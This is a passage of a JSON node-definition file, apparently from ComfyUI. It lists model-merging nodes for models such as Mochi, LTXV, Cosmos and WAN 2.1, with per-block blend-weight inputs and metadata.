"ModelMergeSD35_Large", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeMochiPreview": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_frequencies.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t5_y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t5_yproj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.40.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.41.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.42.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.43.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.44.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.45.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.46.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.47.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_frequencies.", "t_embedder.", "t5_y_embedder.", "t5_yproj.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "blocks.36.", "blocks.37.", "blocks.38.", "blocks.39.", "blocks.40.", "blocks.41.", "blocks.42.", "blocks.43.", "blocks.44.", "blocks.45.", "blocks.46.", "blocks.47.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeMochiPreview", "display_name": "ModelMergeMochiPreview", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeLTXV": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "patchify_proj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "adaln_single.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "caption_projection.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "scale_shift_table": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "proj_out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "patchify_proj.", "adaln_single.", "caption_projection.", "transformer_blocks.0.", "transformer_blocks.1.", "transformer_blocks.2.", "transformer_blocks.3.", "transformer_blocks.4.", "transformer_blocks.5.", "transformer_blocks.6.", "transformer_blocks.7.", "transformer_blocks.8.", "transformer_blocks.9.", "transformer_blocks.10.", "transformer_blocks.11.", "transformer_blocks.12.", "transformer_blocks.13.", "transformer_blocks.14.", "transformer_blocks.15.", "transformer_blocks.16.", "transformer_blocks.17.", "transformer_blocks.18.", "transformer_blocks.19.", "transformer_blocks.20.", "transformer_blocks.21.", "transformer_blocks.22.", "transformer_blocks.23.", "transformer_blocks.24.", "transformer_blocks.25.", "transformer_blocks.26.", "transformer_blocks.27.", "scale_shift_table", "proj_out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeLTXV", "display_name": "ModelMergeLTXV", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmos7B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "extra_pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "affline_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "extra_pos_embedder.", "x_embedder.", "t_embedder.", "affline_norm.", "blocks.block0.", "blocks.block1.", "blocks.block2.", "blocks.block3.", "blocks.block4.", "blocks.block5.", "blocks.block6.", "blocks.block7.", "blocks.block8.", "blocks.block9.", "blocks.block10.", "blocks.block11.", "blocks.block12.", "blocks.block13.", "blocks.block14.", "blocks.block15.", "blocks.block16.", "blocks.block17.", "blocks.block18.", "blocks.block19.", "blocks.block20.", "blocks.block21.", "blocks.block22.", "blocks.block23.", "blocks.block24.", "blocks.block25.", "blocks.block26.", "blocks.block27.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmos7B", "display_name": "ModelMergeCosmos7B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmos14B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "extra_pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "affline_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "extra_pos_embedder.", "x_embedder.", "t_embedder.", "affline_norm.", "blocks.block0.", "blocks.block1.", "blocks.block2.", "blocks.block3.", "blocks.block4.", "blocks.block5.", "blocks.block6.", "blocks.block7.", "blocks.block8.", "blocks.block9.", "blocks.block10.", "blocks.block11.", "blocks.block12.", "blocks.block13.", "blocks.block14.", "blocks.block15.", "blocks.block16.", "blocks.block17.", "blocks.block18.", "blocks.block19.", "blocks.block20.", "blocks.block21.", "blocks.block22.", "blocks.block23.", "blocks.block24.", "blocks.block25.", "blocks.block26.", "blocks.block27.", "blocks.block28.", "blocks.block29.", "blocks.block30.", "blocks.block31.", "blocks.block32.", "blocks.block33.", "blocks.block34.", "blocks.block35.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmos14B", "display_name": "ModelMergeCosmos14B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeWAN2_1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "patch_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_projection.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "text_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "img_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "head.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "patch_embedding.", "time_embedding.", "time_projection.", "text_embedding.", "img_emb.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "blocks.36.", "blocks.37.", "blocks.38.", "blocks.39.", "head."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeWAN2_1", "display_name": "ModelMergeWAN2_1", "description": "1.3B model has 30 blocks, 14B model has 40 blocks. Image to video model has the extra img_emb.", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmosPredict2_2B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedding_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 